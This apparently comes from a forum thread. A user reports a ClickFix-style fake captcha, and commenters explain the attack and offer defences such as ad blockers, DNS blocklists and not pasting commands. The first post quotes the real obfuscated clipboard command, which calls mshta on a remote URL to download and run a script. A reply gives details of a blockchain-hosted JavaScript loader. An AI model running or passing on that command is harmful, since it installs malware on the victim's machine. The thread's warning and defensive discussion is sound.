It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press Run
At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.
I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""
I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.
How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.
Has this happened to you before ? How do you protect yourself ?
The attack is basically getting someone to accidentally run malicious code.
- ctrl + R brings up the Windows "run" dialogue.
- the code executes a powershell command that reaches out to a remote server
- if successful, the remote server answers and you have installed a dropper or something.
Really, you should never do _anything_ like this for any website. You don't need to protect yourself. This is sort of equivalent (in the strict metaphorical sense) of getting a call from your bank and they ask you for your banking password: you just never do it, no matter what. Same thing here. You don't ever execute code via the run dialogue to solve a CAPTHCA. Never.
https://www.sentinelone.com/blog/how-clickfix-is-weaponizing...
You saw something unusual, then
1. Stopped what you were doing.
2. Investigated to see if this was legitimate or malicious.
3. Identified a place to asked others about it.
4. Formulated a good question with enough background information to help people answer it.
All around good job! Well done.
Was the site itself actually infected(hacked)? If not, then all you need is adblock (like ublock origin). And that was true for last 20 years.
If website actually got hacked then I don't know of any good solutions. It will be flagged soon or later, and new visitors will be blocked by "Google Safe Browsing". Using something like "Qubes OS" might protect you against attacks based on browser zero-days but VMs don't really protect against ClickFix when people usually share clipboard between host and client VMs.
As you might imagine, these attacks are aimed at less sophisticated users who may have no idea what Win+R even does, and who might be tricked into believing that this actually has anything to do with website verification.
The site you visited -- or one of the resources it depends on -- might have been compromised. If you're enterprising, you could probably determine where the malicious script is getting loaded from by looking in the page source.
it also sets some interesting scripts to your LocalStorage, which are evaluated upon each page load.
the first sends an object to another remote server, { c: the second calls an API to make said smart contract run the function whose selector is 0xca3348d9, with no parameters, and return the result. the address is 0x58460d0b3d4d6b03761c89120393c0c676676496 edit: this is wildly complex, way more so than a traditional ClickFix attack. it's fetching JS scripts from a Ethereum/Base contract and executing them - i've never seen something like this before. it's got a kill switch too and a cooldown, so i'm no longer experiencing the initial malware dropper on my device "fingerprint"
I've seen similar before where it wasn't the page itself that injected it - rather it was injected by a compromised/sold extension that has permissions on all pages.
Almost, recently. I bought a new Mac, needed something reliable to carry around. I never had a Mac or anything from Apple before, so I wasn't familiar with how exactly does it work. I knew homebrew existed, I understood it's similar to Linux/Windows in that not all applications are in the store, but wasn't familiar at all with how those are commonly installed.
Here's what I did:
1. Open Safari, the only browser there was.
2. Typed "claude mac download" in the search bar (needed Cowork).
3. Clicked the first link.
4. Copied the command it told me to, instructing me to run it in terminal.
Only now I realize that there's something fishy about the command; it had base64 payload in it. Didn't run it and took closer look on the page - it was a Claude share (which I quickly scrolled over).
I can admit mistakes, but Google, Apple and Anthropic deserve some blame here, too.
- Google: pushed malware link up top, didn't (distinctly, at least) mark it as a paid result and I'd swear it didn't show me the URL (which I usually always check before clicking, but maybe I just missed it as the search results are rendered differently from Kagi's)
- Safari: hides path by default, so all you see is "claude.ai". Someone probably thought this looked nice, I think it's just borderline idiotic.
- Anthropic: hosts what's essentially a user-content on their main domain.
Also recently saw a few legit projects using base64 in their install one-liners. Please, stop it.
> How do you protect yourself ?
Installed not Safari and made Google not my default search engine, as I always do. That way I at least always know where I am.
Endless vigilance. Scammers are always working on new tricks. You were rightly suspicious and not fooled by this one.
As a "end-user" one of the most effective way is to either disable js, which isn't the most practical thing for most of us. You can also use ublock-origin, it doesn't only block ads! You can also throw a lying-DNS in the chain, either by using something like Quad9 or a local resolver with appropriate blocklists (think of unbound or for a more user-friendly solution piehole)
Also an anti-virus can help detect the usual stealer that will be dropped by these FakeCaptcha/ClickFix attack, but they are also easily bypassed, that's why you need multiple layers of protection : each of them can and will fail
I wasn't sure what to do about it. Obviously I was unable to notify the blog owner. I came back to the website about a week later and it didn't come up again.